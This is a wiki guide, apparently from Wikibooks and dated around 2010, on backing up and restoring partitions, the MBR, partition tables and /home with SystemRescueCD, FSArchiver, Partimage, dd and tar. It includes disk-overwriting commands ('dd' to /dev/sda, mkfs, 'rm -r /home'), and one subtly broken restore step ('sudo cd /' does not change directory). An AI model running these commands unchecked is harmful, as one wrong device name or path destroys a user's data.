'''Note: If you plan to use FSArchiver, it is best to use the very latest beta version of SystemRescueCD.  http://www.sysresccd.org/Beta-x86'''

''Note:  This guide is based on SystemRescueCD version 1.3.5.  Later versions should be compatible with this guide, but when in doubt check the latest manual.''

Related topics:
* [[#Alternatives To Using SystemRescueCD|Alternatives To Using SystemRescueCD]]
* [[#How To Install SystemRescueCD On A Hard Drive|How To Install SystemRescueCD On A Hard Drive]]

==Creating Backups==

===Partition Backup Requirements===

To back up a partition, you will need a &quot;source partition&quot; (a partition to be backed up), and a &quot;target Partition&quot; (a place to save the backup file).  Both the source and target must already contain valid filesystems (ext2/3/4, reiserfs, reiser4, btrfs, xfs, jfs, vfat, fat16/32, ntfs, iso9660).

Note that the source partition may be a primary partition or a logical drive on an extended partition - this makes no difference.

The &quot;target filesystem&quot; (place to save the backup file) must NOT be located on the source partition.  The backup file's size will be approximately half the size of the total data on the source partition (NOT half the total partition size).  For example, if the 6 GB source partition contains 2 GB of files, the backup file will be approximately 1 GB.  (The data on the partition is gzipped; free space is ignored.)

Examples of target filesystems which can be used to save your backup file:

* Another formatted partition, on the same hard drive as the source partition, with ample space

* A formatted partition on another internal hard drive

* A USB stick or external hard drive with ample space

* An NFS share on another computer

* A shared folder on a networked Windows computer (samba share)

If you know the drive number and partition number of your source partition, and you know your target filesystem's location, then you are ready to proceed.

===Prepare The Target===

First, you may want to [http://en.wikibooks.org/w/index.php?title=Special:Book&amp;bookcmd=render_article&amp;arttitle=How+To+Backup+Operating+Systems&amp;writer=rl print out a copy of this guide].

Boot SystemRescueCD.  You may generally press Enter at the &quot;boot:&quot; and keyboard prompts, and will eventually be presented with a root console prompt.

Enter the following command to prepare a mount point for the target filesystem:
&lt;pre&gt;mkdir /mnt/target&lt;/pre&gt;

Next, mount your target filesystem (the place where you will save the backup file).  Examples include:

&lt;pre&gt;# Note: If you'd like to see a list of partitions and sizes, you can enter:
fdisk -l
# OR
cat /proc/partitions

# To mount a local partition (hard drive, USB stick, etc.):
# In this example, sda5 (partition 5 of drive 1)
mount /dev/sda5 /mnt/target

# To mount a local NTFS partition with write permission:
ntfs-3g /dev/sda5 /mnt/target

# Note: Before mounting networked filesystems as shown below, you may need to enter:
net-setup

# OR  To mount a networked Windows shared folder (samba share):
mount -t smbfs -o lfs //192.168.10.3/my-share/ /mnt/target

# OR  To mount an NFS share:
mount -t nfs 192.168.10.1:/home/user/share /mnt/target

# Finally, make sure the target filesystem is successfully mounted:
ls /mnt/target&lt;/pre&gt;

Once the target filesystem is mounted, you are ready to create the backup.  This guide includes two methods for creating a partition backup: FSArchiver and Partimage.  Each method has its strengths and weaknesses.  Choose the method most appropriate for each partition you are backing up.

===Create Partition Backup - FSArchiver Method===

The FSArchiver method works best for linux filesystems (ext2/3/4, reiserfs, xfs, etc), and also has support for ntfs.  FSArchiver has several advantages over Partimage: it supports ext4 and btrfs; it can restore data to a partition which is smaller than the original the backup was made from; it can change the filesystem type when restoring (eg ext3 to ext4); it can encrypt the backup; it checksums the data to detect corruption; and it can restore files from a partially corrupted backup.  However, FSArchiver has '''no support for FAT''' filesystems, and the ntfs support is new and may not be stable.  FSArchiver is also under heavy development and is thus not recommended for critical data (as of Jan 2010).  Check the [http://www.fsarchiver.org FSArchiver Homepage] for the latest information on these issues.  For more comparison information see [http://www.fsarchiver.org/Fsarchiver_vs_partimage FSArchiver vs Partimage].  To make sure you have the most up-to-date version of FSArchiver, be sure to download the [http://www.sysresccd.org/Beta-x86 latest version of SystemRescueCD].  

This guide currently recommends the FSArchiver method if a partition contains an ext2/3/4  or other linux filesystem.  Otherwise the Partimage method detailed in the next section is recommended.

Working by example, the following command will create a backup of the /dev/sda5 partition and save it to the backup file &quot;/mnt/target/backup-sda5.fsa&quot; on the [[#Prepare The Target|target filesystem]]:

&lt;pre&gt;fsarchiver savefs /mnt/target/backup-sda5.fsa /dev/sda5&lt;/pre&gt;

It will take a few minutes.  When finished, you can view information on the created archive with:
&lt;pre&gt;fsarchiver archinfo /mnt/target/backup-sda5.fsa&lt;/pre&gt;

FSArchiver has other options for archive creation.  Examples include:

&lt;pre&gt;# To encrypt the backup using &quot;yourpassword&quot;:
fsarchiver -c yourpassword savefs /mnt/target/backup-sda5.fsa /dev/sda5

# To split the backup into 4300MB files for DVD burning:
fsarchiver -s 4300 savefs /mnt/target/backup-sda5.fsa /dev/sda5

# To use a dual-core processor for greater compression speed (or use -j4 for quad):
fsarchiver -j2 savefs /mnt/target/backup-sda5.fsa /dev/sda5

# To see progress and more details as the backup is created::
fsarchiver -v savefs /mnt/target/backup-sda5.fsa /dev/sda5&lt;/pre&gt;

For further options and information, please consult the [http://www.fsarchiver.org/QuickStart FSArchiver Quick Start Guide].

If you have a multi-OS system, create a backup (using Partimage or FSArchiver) of each relevant partition, saving each to an appropriately-named backup file.  (Linux swap partitions do not need to be backed up.)

===Create Partition Backup - Partimage Method===

The Partimage method works for most filesystems (ext2/3, reiserfs, reiser4, xfs, jfs, vfat, fat16/32, ntfs, iso9660), but '''does not support ext4''' or btrfs.  Partimage has some other limitations:  it does not checksum data so corruptions may not be detected; a corrupt archive cannot be partially restored; you can only restore data to a partition which is the same size as or larger than the original partition the backup was created from; there is no encryption built-in; there is no support for multi-threaded compression.  Advantages of Partimage include that it backs up all data on the partition including VBR boot code, and it restores files to their original disk sectors.  [http://partimage.org Partimage] is an older program which is quite stable, but is no longer being developed, so no ext4 support is expected.

This guide currently recommends the Partimage method if a partition contains a FAT (including vfat) or ntfs filesystem.  Otherwise the FSArchiver method detailed in the previous section is recommended.

Once the [[#Prepare The Target|target filesystem]] is mounted, run the Partimage program:
&lt;pre&gt;partimage&lt;/pre&gt;

Partimage's GUI just requires you to fill in the boxes.  You can see some screenshots of this here...  http://www.partimage.org/Partimage-manual_Usage

First, use the up &amp; down arrow keys to highlight the partition you want to back up.  Once it's highlighted, press Tab to move the cursor to the &quot;Image file to create/use&quot; box.  Enter the backup file here.  For example:  
&lt;pre&gt;/mnt/target/backup-sda5&lt;/pre&gt;
(This will save the backup to a file named &quot;backup-sda5.000&quot; in /mnt/target/)

Now move down to the &quot;Action to be done:&quot; box by pressing the Tab key and make sure the 'Save partition into a new image file' option is checked (use space bar to select it if necessary).  Press F5 to proceed.

Next you are given some options - set these as you wish, using the Tab key to move and the spacebar to check/uncheck options.  Generally you can leave them as they are.  If the image file is larger than the set size (default 2 GB), it will be broken into multiple files (.000, .001, etc)  If you are saving the image file to a FAT32 filesystem, be sure to set the split size no higher than 4000 MB.  If you plan to burn your backup to CDs or DVDs, set this to 690 MB for CD or 4300 MB for DVD.

Press F5 to proceed.

The partition's contents will be gzipped and saved to the backup 'image' file(s) - takes 5-10 minutes on most systems.  When it's done, exit Partimage.

If you have a multi-OS system, create a backup (using Partimage or FSArchiver) of each relevant partition, saving each to an appropriately-named backup file.  (Linux swap partitions do not need to be backed up.)

===How To Back Up An MBR And Partition Table===

====MBR Backup====
For a discussion of what the MBR is and why we're backing it up, read [[#How The Computer Boots - The MBR Explained|How The Computer Boots - The MBR Explained]].

For an automated utility which creates and restores MBR backup files, [http://igurublog.wordpress.com/downloads/script-mbrback/ mbrback] is recommended. 

The MBR backup is a VERY small file (512 bytes).  In this example, we will assume that /dev/sda is the first hard drive (boot drive) of the system.  Substitute your correct boot drive accordingly.

&lt;pre&gt;# Back up entire MBR:
dd if=/dev/sda of=/mnt/target/sda-MBR-backup bs=512 count=1&lt;/pre&gt;

Note that you do NOT include a partition number after the device name, just &quot;sda&quot;.

&lt;div style=&quot;border: solid 1px #ff0000; background: #ffa000; padding: 0.5em; color: #000000;&quot;&gt;IMPORTANT:  Anytime you change the partitioning of the drive, or change the boot code in the MBR, you should make a new backup of the MBR.  Restoring the MBR using an outdated backup MBR file can be fatal to all of the data on your drive!&lt;/div&gt;

Note: Linux users do not need SystemRescueCD to make an MBR backup.  The above dd command may be executed from a root console while the system is running.

====Partition Table Backup====
While the MBR contains the primary partition table, it does not contain the extended partition table, which is stored on the extended partition.  The program sfdisk may be used to back up and restore the entire partition table, including extended partitions.  For example, to create a partition table backup of the first hard drive:

&lt;pre&gt;sfdisk -d /dev/sda &gt; /mnt/target/sda-part-table.sf&lt;/pre&gt;

Note: The output of sfdisk is plain text and may be viewed by loading the file into a text editor or omitting the redirection.  This output can be used by sfdisk to restore (recreate) the partition table, as detailed in [[#Partition Table Restoration|Partition Table Restoration]].


===Rebooting And Finishing Up===

Finally, umount the target filesystem and reboot:

&lt;pre&gt;umount /mnt/target
reboot&lt;/pre&gt;

When the screen goes blank, remove the CD so the computer boots into your OS.  You should now find the backup files where you saved them.  If on a Linux filesystem, they will be owned by root - change this as you like.  For example:

&lt;pre&gt;sudo chown 1000:1000 backup-sda5.*&lt;/pre&gt;

I now suggest creating a text file which describes the contents of the backup file.  In this example it could be named &quot;backup-sda5.txt&quot;, and would describe what OS version was on the partition at the time of backup, date it was created, md5sum of the backup file, what software and drivers were installed, etc.  You can also use this text file to record subsequent changes you make to the system.  This makes remembering and repeating these changes after restoration very quick.

You can now copy and move the backup files as you like - to another drive, to a networked computer, burn them to CD or DVD.  If multiple backup files were created, numbered .000, .001,... (Partimage), or .fsa,.f01,.f02,... (FSArchiver), just keep them together - they will all be required for restoration.

===How To Back Up The /home Folder===

On Linux systems, the /home folder contains user software/desktop settings and some user files.  This data changes more frequently than system files - usually daily - so it is convenient to have a more up-to-date backup of this data.  Also, unlike the system files, this data may be reliably backed up while the system is running and users are logged in.

====Manual Backup Of The /home Folder====

The following examples assume your backup partition is mounted to /user - change if necessary.

&lt;pre&gt;# To make a backup tar file of your /home folder, enter in a console:
sudo tar --preserve -czf /user/home-backup.tar.gz /home

# Or, you can save space by omitting unnecessary files:
sudo tar --preserve --exclude=/home/*/.mozilla/firefox/*/Cache/* \
--exclude=/home/*/.mozilla/firefox/*/bookmarkbackups/* \
--exclude=/home/*/.googleearth/Cache/* \
--exclude=/home/*/.local/share/Trash/* --exclude=/home/*/.thumbnails/* \
-czf /user/home-backup.tar.gz /home&lt;/pre&gt;

The /home folder has been compressed and saved to /user/home-backup.tar.gz.

Alternatively, you can simply copy your /home folder to a backup location without compression:

&lt;pre&gt;sudo cp -a /home /user/home-backup&lt;/pre&gt;

The -a option ensures that file permissions and ownership information is retained.

Or, if your /home folder is on a separate partition of its own, you can use Partimage to back up the partition.

====Automatic Backup Of The /home Folder====

It is also possible to automate backup of the /home folder so that a daily backup is created.  To do so, enter (or copy/paste) the following commands in a console:  (substitute your desired backup location for &quot;/user&quot;, preferably a different partition from your system partition)

&lt;pre&gt;# Create folders for backups and scripts to be used
mkdir -p /user/scripts
mkdir -p /user/backups
# Create a script to perform daily backups
echo '#!/bin/bash' &gt; /user/scripts/daily-home-backup.sh
echo 'tar --preserve --exclude=/home/*/.mozilla/firefox/*/Cache/* \
--exclude=/home/*/.mozilla/firefox/*/bookmarkbackups/* \
--exclude=/home/*/.googleearth/Cache/* --exclude=/home/*/.local/share/Trash/* \
--exclude=/home/*/.thumbnails/* -czf /user/backups/home-backup-$(date +%Y-%m-%d-%H%M).tar.gz \
/home' &gt;&gt; /user/scripts/daily-home-backup.sh
# Make the script automatically remove backups older than 20 days
echo 'find -L /user/backups -type f -mtime +20 -name &quot;home-backup-*.tar.gz&quot; \
-execdir rm {} \;' &gt;&gt; /user/scripts/daily-home-backup.sh
# Make the script owned by root (security precaution since it will be run by root)
sudo chown root:root /user/scripts/daily-home-backup.sh
# Make the script executable
sudo chmod ugo+x /user/scripts/daily-home-backup.sh
# Create a crontab file to run the backup script daily at 3:00AM
echo '00 3 * * * /user/scripts/daily-home-backup.sh' &gt; /user/scripts/root-crontab
# Install the crontab file
sudo crontab -u root /user/scripts/root-crontab&lt;/pre&gt;

The above commands produce the following executable script (/user/scripts/daily-home-backup.sh) and schedule it to be run daily at 3:00AM:
&lt;pre&gt;#!/bin/bash
tar --preserve --exclude=/home/*/.mozilla/firefox/*/Cache/* \
--exclude=/home/*/.mozilla/firefox/*/bookmarkbackups/* --exclude=/home/*/.googleearth/Cache/* \
--exclude=/home/*/.local/share/Trash/* --exclude=/home/*/.thumbnails/* \
-czf /user/backups/home-backup-$(date +%Y-%m-%d-%H%M).tar.gz /home
find -L /user/backups -type f -mtime +20 -name &quot;home-backup-*.tar.gz&quot; -execdir rm {} \;&lt;/pre&gt;

Anytime you want to manually create a backup of home, just enter:
&lt;pre&gt;sudo bash /user/scripts/daily-home-backup.sh&lt;/pre&gt;

If you decide you don't want the daily-home-backup.sh script to run daily, just remove the crontab job:
&lt;pre&gt;sudo crontab -u root -r&lt;/pre&gt;

The above script is just a simple example which may be customized by editing /user/scripts/daily-home-backup.sh  There are also GUI backup programs on most systems which can automate backup of your /home folder.

==Restoring From Backups==

===Restoration Requirements===

Restoring the contents of a partition should restore all files and boot information present when the backup was made.  Assuming the partition contained your OS, all the settings and installed software which were located on that partition will be restored to their previous state.

To restore, you need a backup file created by Partimage or FSArchiver, and you need a destination partition.  The destination partition may be on any drive, and does not need to be the same partition the backup was created from.  You may restore the backup file to any partition on any drive, providing:

* If the backup file contains an OS, be sure the backup file was created on this same computer.  Generally it is a poor idea to attempt to use backup files created on one computer with another computer, unless the hardware is virtually identical.  (Each computer usually has a different mainboard, video card, memory, and other specifics.  Running an OS which was installed on a different machine's hardware generally doesn't go well!)  Make separate backup files for each computer's OS(es) and don't mix them.

* The destination partition does NOT need to have a valid filesystem on it.  It may be unformatted, or may contain any filesystem or data.  Whatever is there will be overwritten.  If you are restoring to a brand new drive, you merely need to create the partitions (using cfdisk, sfdisk, or similar).

* (Partimage only) The size of the destination partition must be at least as large as the original partition the backup was created from, not merely big enough to hold the data.  For example, if the original source partition was 10 GB with 2 GB of files on it, the new destination partition must be at least 10 GB in size (or larger - depending on the filesystem, it may automatically grow to use the available space).  Partimage will refuse to restore to a smaller partition than the original.  (Partimage uses a low level block/cluster copy to copy and restore the partition's contents, so file data is placed in its original location on the partition.  [http://www.partimage.org/Partimage-FAQ#Can_I_restore_it_to_a_smaller_or_bigger_partition_.3F more info])  To copy and restore a partition to a smaller partition, use the [[#Create Partition Backup - FSArchiver Method|FSArchiver method]], or the method described in [[#How To Copy Data To A Smaller Partition|How To Copy Data To A Smaller Partition]].)

If you know the location and type (Partimage or FSArchiver) of your backup image file, and it is accessible from the computer, and you know the drive and number of your destination partition, you are ready to restore.  Note that Partimage backups have the extensions .000, .001, etc., while FSArchiver backups have the extensions .fsa, .f01, etc.

===Prepare The Source===

First, boot SystemRescueCD and mount the partition or network share where the backup file is stored.  Using the backup location in our previous example:

&lt;pre&gt;# Our backup file is on /dev/sda5
mkdir /mnt/back
mount /dev/sda5 /mnt/back&lt;/pre&gt;

OR, if you burned the backup file onto a bootable SystemRescueCD DVD ([[#How To Burn A Bootable DVD Containing Backup Files And Tools|see how to do this]]), you will find it in /mnt/cdrom.  You do not need to mount anything.

OR, if your backup file is located on a single CD or DVD, you can either copy the backup file to another location before booting SystemRescueCD, or you can boot SystemRescueCD in such a way that you can remove it from the drive.  To do so, enter this at the &quot;boot:&quot; prompt:

&lt;pre&gt;boot: fb1024 docache doeject&lt;/pre&gt;
or:
&lt;pre&gt;boot: fb800 docache doeject&lt;/pre&gt;

The CD will eject after SystemRescueCD has booted, and you can insert another CD or DVD in the drive and mount it.

OR, if your backup file was split into multiple files (.000, .001, etc), you must copy them to a single location before proceeding, such as another partition or network share, and mount this location.

===Restore Partition - FSArchiver Method===

If you created your backup file using FSArchiver, you must use this method to restore it.

{{Warning|'''WARNING: All the data currently stored on this partition will be overwritten!'''}}

Working by example, to restore /dev/sda5 from the backup file /mnt/back/backup-sda5.fsa (substitute the device name you wish to restore to!):

&lt;pre&gt;fsarchiver restfs /mnt/back/backup-sda5.fsa id=0,dest=/dev/sda5&lt;/pre&gt;

Note:  &quot;id=0&quot; in the above command specifies that filesystem #0 in the archive is to be restored.  Unless you saved multiple filesystems to the archive file, which is not covered in this guide, always use &quot;id=0&quot;.

If you encrypted your archive using the -c option, use the same -c option when restoring.

If your backup was split into multiple files (.fsa, .f01, .f02...), just specify the first file (with .fsa extension) and FSArchiver will find the rest.

Note: Unlike Partimage, which restores an exact duplicate of a partition using a low level block copy, FSArchiver recreates the filesystem.  This means that files will be in different locations on the disk.  If the partition you restored contains GRUB's stage files (/boot/grub/), you will need to [[#How To Set Grub's Root Partition|reinstall GRUB to the MBR]] so it can mark the new disk location of its files.  If using LILO, it must also be reinstalled.

Note: If you restored to a different partition than the original, you may need to change Linux (GRUB, fstab) or Windows (boot.ini) boot information.  Consult the [[#Restoration Scenarios|Restoration Scenarios]] section for more information.

Finally, umount what you mounted, and reboot:

&lt;pre&gt;umount /mnt/back
reboot&lt;/pre&gt;

Remove the SystemRescueCD at the blank screen and your computer will travel back in time!

===Restore Partition - Partimage Method===

If you created your backup file using Partimage, you must use this method to restore it.  Once you have the location of your backup file(s) mounted, run Partimage:
&lt;pre&gt;partimage&lt;/pre&gt;

First, using the up &amp; down arrow keys, highlight the destination partition (the partition which will be restored using your backup file).

{{Warning|'''WARNING: All the data currently stored on this partition will be overwritten!'''}}

Press Tab to move the cursor to the &quot;Image file to create/use&quot; field.  Enter your backup file location and name.  In this example:
&lt;pre&gt;/mnt/back/backup-sda5.000&lt;/pre&gt;

(If you have multiple backup files, just enter the name of the first file, including the extension .000)

{{Info|'''IMPORTANT''':  Press Tab twice to move down to &quot;Restore partition from an image file&quot; and press spacebar to select it.}}

Then press F5 to proceed.  Follow on-screen instructions and the partition will generally be restored within 5-10 minutes.

Exit Partimage, umount what you mounted, and reboot:

&lt;pre&gt;umount /mnt/back
reboot&lt;/pre&gt;

Note: If you restored to a different partition than the original, you may need to change Linux (GRUB, fstab) or Windows (boot.ini) boot information.  Consult the [[#Restoration Scenarios|Restoration Scenarios]] section for more information.

Remove the SystemRescueCD at the blank screen and your computer will travel back in time!

===How To Copy Data To A Smaller Partition===
If you want to copy the contents of a partition to a ''smaller'' partition and are unable to use FSArchiver, you can avoid Partimage's limitation using the cp command.  Boot SystemRescueCD, and execute some variation of the following example commands:

&lt;pre&gt;# format destination partition (in this example /dev/sda3 using ext3)
# WARNING: this destroys all data on the partition!
mkfs.ext3 /dev/sda3
# mount source partition (/dev/sda2) and target
cd /mnt
mkdir source
mkdir target
mount /dev/sda2 source
mount /dev/sda3 target
# copy the filesystem
# Note: be sure to include the dots
cp -ax /mnt/source/. /mnt/target/.&lt;/pre&gt;

Note: Unlike Partimage, the above method only copies the files on the partition.  It does not copy the VBR boot sector of the partition (critical to Windows booting), and it changes the location of the linux kernel files (which may require reinstallation of your bootloader to the MBR).

===How To Restore An MBR And Partition Table===

====MBR Restoration====
You should only restore the MBR if it is necessary to do so, and you should be sure you have an up-to-date backup file to work with.  Because the primary partition table is stored in the MBR, an out-of-date backup file containing a different version of the partition table can cause loss of data.

If you are merely rolling back the state of a partition in order to roll back your OS, you do not need to restore the MBR.  The MBR only needs to be restored if the system is not booting the way you want (perhaps the MBR was damaged, you purchased a new hard drive and have no bootable MBR, or you installed Windows which overwrites the MBR without installing a multi-OS boot manager), or if the primary partition table has been damaged.  Consult the [[#Restoration Scenarios|Restoration Scenarios]] section to determine when it is appropriate to restore the MBR.

You can choose to restore the entire MBR, which restores the boot code as well as the primary partition table.  Or you can restore just the boot code within the MBR.  If the partition table is okay, just restore the boot code.

If you previously had GRUB installed in the MBR of your hard drive, restoring the boot code from backup is usually equivalent to reinstalling GRUB to the MBR.

For an automated utility which backs up and restores the MBR, [http://igurublog.wordpress.com/downloads/script-mbrback/ mbrback] is recommended.

In this example, we will assume that /dev/sda is the first hard drive (boot drive) of the system.  Substitute your correct boot drive accordingly.

Boot SystemRescueCD and mount the location where your backup files are stored.  Using the backup location in our previous example:

&lt;pre&gt;# Our backup file is on /dev/sda5
mkdir /mnt/back
mount /dev/sda5 /mnt/back

# Our boot drive is /dev/sda
# To restore the boot code ONLY, leaving the partition table unchanged:
dd if=/mnt/back/sda-MBR-backup of=/dev/sda bs=448 count=1

# OR, to restore the ENTIRE MBR (including partition table):
dd if=/mnt/back/sda-MBR-backup of=/dev/sda bs=512 count=1&lt;/pre&gt;

'''IMPORTANT: Note that you do NOT include a partition number after the device name in the dd command, just &quot;sda&quot;.'''

Note: Linux users may not need SystemRescueCD to restore the MBR.  If you have a working Linux system, the above dd commands may be executed from a root console while the system is running.

====Partition Table Restoration====
While the MBR contains the primary partition table, it does not contain the extended partition table.  If the full partition table needs to be restored (perhaps it was damaged or was modified incorrectly), the backup file created by sfdisk may be used.  (This method also works to create a partition table on a new drive identical to another drive.)  For example, to recreate the partition table from the backup made of the first hard drive:

&lt;pre&gt;sfdisk /dev/sda &lt; /mnt/back/sda-part-table.sf&lt;/pre&gt;

===How To Restore The /home Folder===

If /home is on a separate partition, it is restored using the same method as other partitions.

If the /home folder was copied or tarred, boot into your OS or SystemRescueCD.  If using your OS, it is important not to log into the system as a graphical user.  At the graphical desktop manager greeting, press Ctrl-Alt-F1 to access a console.  Login as root (preferred) or as a user.

If using SystemRescueCD, you must mount the location of the backup files and the location of the /home folder before proceeding, and use the correct location of the home folder in lieu of &quot;/home&quot; in the example below (e.g. /mnt/mysystem/home instead of /home).

&lt;pre&gt;# First, remove the /home folder:
sudo rm -r /home

# If your backup of the /home folder was a copy made with &quot;cp -a&quot;, just copy it back:
sudo cp -a /user/home-backup /home

# OR, if your backup is a tar file:
sudo cd /
sudo tar xzfp /user/home-backup.tar.gz&lt;/pre&gt;

You may then reboot (enter &quot;reboot&quot;) or press Ctrl-Alt-F7 to login to a desktop.


==How The Computer Boots - The MBR Explained==

It is valuable to have a basic understanding of how a computer boots so you know what to back up and what to restore when maintaining your system.

===BIOS Device Priority===

When you turn on your computer, the BIOS programming (which is stored in memory chips on the mainboard) starts running.  Among other things, this BIOS program determines which drive or device will be booted first.  The 'boot device priority' may be changed by entering the BIOS (aka Setup) at boot.  A typical boot device priority is floppy, CDROM, hard drive 1.  In most cases, the BIOS can be told which device on your system should be considered drive 1.  This gives you control over what device boots your system.

===Master Boot Record===
The BIOS then consults the Master Boot Record (MBR) of the boot device.  The MBR is NOT located on any partition of the device.  Rather, it is the first 512 byte sector of the device, located in front of the first partition.

The MBR contains:
* a 'boot code' area
* the primary partition table
* a 32 bit 'disk signature'

====MBR Boot Code====
When booting a boot device, such as a hard drive, the BIOS runs the program code contained in the MBR of the device (this program is called the 'boot code' of the MBR).  Repartitioning your hard drive, formatting partitions, or restoring partitions from backup will NOT alter or restore the MBR boot code.

The MBR boot code is generally only modified by:
* the installation program of an OS (eg a Linux or Windows install CD)
* the repair facility of an OS (eg Windows fixmbr)
* installing a boot manager (eg GRUB)
* direct disk writing as used in this guide (dd)
* a virus which infects the MBR
* disk-wiping utilities (eg DBAN)

====MBR Primary Partition Table====
In addition to the boot code, the MBR contains the drive's primary partition table.  This information includes the size, number, and OS-type of the partitions, and which one partition is marked 'bootable' (referred to as the 'boot' or 'active' partition of the drive).  (The extended partition table, which defines any logical partitions of the drive, is located on the extended partition, not in the MBR.)  The primary partition table of the MBR is modified by:
* the installation program of an OS (eg a Linux or Windows install CD)
* partitioning software (eg cfdisk, sfdisk, Gparted)
* direct disk writing as used in this guide (dd)

Formatting or changing the data on the partitions does not change the partition table.  You must resize, delete, or create partitions, change their type, or change the bootable partition in order to affect the MBR's partition table.

====MBR Disk Signature====
Finally, it should be noted that the MBR contains a 32-bit number (a &quot;Windows NT disk signature&quot; - now also used by Linux) intended to uniquely identify the disk medium (Note: this is NOT the same as UUIDs, which are stored in the filesystems on the partitions).  Restoring the entire MBR to a new drive from an MBR backup file will duplicate this number. 

For a thorough discussion of the MBR:
http://en.wikipedia.org/wiki/Master_boot_record

===Boot Management===
Once the BIOS passes control to the MBR boot code, that program determines what happens next.  The boot code area of the MBR is not very big, so it can't do much.  Mostly what it does is pass control to another program.  Here are several possible boot configurations:

====Generic Boot Code====
On a simple, single-OS system (such as DOS or older Windows), the MBR boot code will examine the partition table portion of the MBR to see which partition is marked 'bootable' (aka 'active').  It then passes control to the Volume Boot Record (VBR) of this boot partition.  (A VBR is stored in the first few sectors of a ''partition'', whereas the MBR is stored in the first sector of the ''drive'').  In this case, the VBR contains a boot loader - a program which the installed OS uses to get itself up and running.  With this kind of generic MBR boot code, the only way to boot a different partition is to modify the partition table.  Specifically, using a program like cfdisk, you must [[#How To Set The Boot Partition|change which partition is marked 'bootable']].

====Linux Boot Managers====
On most Linux systems, the MBR boot code contains a boot manager such as GRUB or LILO.  For example, if GRUB is installed to the MBR of the drive, it will run first.  GRUB will consult its 'root partition' for further information.  (When GRUB is installed, one partition is defined as the GRUB 'root' and contains data used by GRUB, generally in /boot/grub/.  Specifically, GRUB's &quot;menu.lst&quot; or &quot;grub.cfg&quot; file tells GRUB what partitions on the system may be booted and how to boot them.)  GRUB may present the user with a menu at boot time asking what partition to boot.  Control is then passed to the Linux kernel and boot programs.  Note that this scenario has at least two places where vital boot information is stored: in the MBR boot code, and on the partition designated as GRUB's 'root'.  If either area is damaged or changed, it may affect the boot process.  Note that this method ignores which partition is marked 'bootable' in the partition table.  Also note that GRUB stores within the MBR boot code the physical disk sector where its stage file is located.  If the physical location of this file changes (due to restoration with FSArchiver, for example), GRUB will need to be reinstalled to the MBR.

====Windows Boot Managers====
On newer Windows systems such as NT, XP, and Vista, a boot manager is used: NT Loader aka &quot;NTLDR&quot; (Windows NT and XP), or Windows Boot Manager (Windows Vista).  When Windows is installed, the MBR's boot code will be overwritten.  At boot, this code will transfer control to the VBR of the boot partition, which in turn transfers control to the NT Loader or Windows Boot Manager, which will control the rest of the boot process.  Sometimes the boot manager will present a menu asking the user what installed version of Windows to boot.  Note that this scenario has at least four places where vital boot information is stored: in the MBR boot code, in the boot flag of the MBR partition table, in the VBR of the boot partition, and in the filesystem of the partition containing the NT Loader or Windows Boot Manager.  If any of these areas is damaged or changed, it may affect the boot process.

====Linux &amp; Windows====
If a multi-OS system includes Linux and Windows, a Linux boot manager must be used to control the boot process because the Windows boot managers do not accommodate Linux partitions.  This setup is very similar to a Linux-only system, except that in order to boot a Windows partition, the boot manager (such as GRUB) will transfer control to the VBR of the Windows partition, allowing the Windows boot loader or manager to take control (called chainloading).  Note that this scenario has several places where vital boot information is stored: in the MBR boot code, on the partition designated as GRUB's 'root', in the VBR(s) of Windows partition(s), and in the filesystem(s) of the partition(s) containing NT Loader or Windows Boot Manager.  If any of these areas is damaged or changed, it may affect the boot process.  Note that this method ignores which partition is marked 'bootable' in the partition table.

====Grub In A VBR And More====
Another more rare variation of GRUB installation is for GRUB's boot code to be installed only in the VBR area of a partition, not in the drive's MBR.  In this case the MBR contains generic boot code which simply boots the 'bootable' partition.  If the partition where GRUB is installed to the VBR is marked 'bootable', GRUB will boot, and will present its menu, again based on its configuration files located on its root partition.

There are also many other possible variations of boot management, but the above examples describe most common configurations.

===Backing Up And Restoring The Boot Process===
For the purpose of backing up your complete system, you want to determine what needs to be backed up in order to restore not only the filesystems, but if possible the entire boot process.  For example, if you have a simple, single-OS system, then the MBR boot code will simply boot the partition marked 'bootable'.  In that case, if you back up the MBR and the partition containing the OS, you have a full backup.  You can fully restore the system by restoring the MBR and the OS partition.  (If you move the OS to a different partition, you simply need to [[#How To Set The Boot Partition|change which partition is marked 'bootable']].)

If you have a multi-OS system which has GRUB installed in the MBR, then backing up and controlling the boot process is more complicated.  You must back up the MBR, which contains the GRUB boot code.  You also must back up the GRUB 'root' partition, which contains /boot/grub/ (along with your Linux OS).  In addition, you must back up other partitions containing other OSes.  To control the boot process on this kind of system, you edit GRUB's configuration files.  Changing the 'bootable' flag in cfdisk will have no effect.  To change which partition is GRUB's 'root', you must [[#How To Set Grub's Root Partition|run GRUB and install it to the MBR]].

In most cases, restoring the MBR boot code and the OS partitions will restore the boot process of the system.  However, there are exceptions.  The Windows installer will sometimes borrow the VBR of another compatible partition in order to boot the partition containing Windows, which can create very confusing boot behavior, and lead to breakages in the boot process.  For example, Windows insists that it boot from hard drive 1, and not from extended partitions (logical drives).  If you attempt to install it to a partition on another drive, or to an extended partition, it may write a boot loader into the VBR of one of the primary partitions on drive 1 in order to boot.  In terms of backing up and restoring Windows, this means that sometimes restoring the partition containing Windows will not be enough to restore the boot process to working order.  In this case, it may be necessary to reinstall or repair Windows using the Windows installation disc.  In other cases, reconfiguring the Windows boot manager may be required (edit boot.ini, etc.)  For a more detailed discussion of the Windows boot process, please consult [http://en.wikipedia.org/wiki/Windows_NT_startup_process Windows NT/XP Startup Process] and [http://en.wikipedia.org/wiki/Windows_Vista_startup_process Windows Vista Startup Process].

Also note that the Partimage program, one method used by this guide for backing up and restoring partitions, copies not only the filesystem on the partition but also the 'boot sector' contents of the partition's VBR, and it maintains the locations of the kernel and other files.  (Partimage uses a low level block/cluster copy, not the linux kernel's filesystem support.)  For more information please consult [http://www.partimage.org/Partimage-manual_Partition_Image_Internals#How_are_the_partitions_read.2Fwritten Partimage: How are the partitions read/written].

On the other hand, the FSArchiver method merely recreates the filesystem, so files may be moved, and the contents of the VBR may not be restored.  However, when restoring ntfs partitions, FSArchiver does perform an [http://www.fsarchiver.org/Cloning-ntfs ntfs-clone] which is designed to maintain the boot functionality of a Windows partition.  If a partition you restore with FSArchiver contains GRUB's root (/boot/grub/), you will need to [[#How To Set Grub's Root Partition|reinstall GRUB to the MBR]] so that it can mark the new location of its files.

===How To Set The Boot Partition===

This section only applies if you have a single-OS system with generic MBR boot code that boots the 'bootable' (aka 'active') partition, OR if you have GRUB installed into the VBR of a partition rather than into the MBR (which is not usually done).  If you have GRUB installed in the MBR, changing the 'bootable' partition will make no difference as GRUB ignores this.

To change the 'bootable' partition, boot SystemRescueCD or any Linux console and enter:
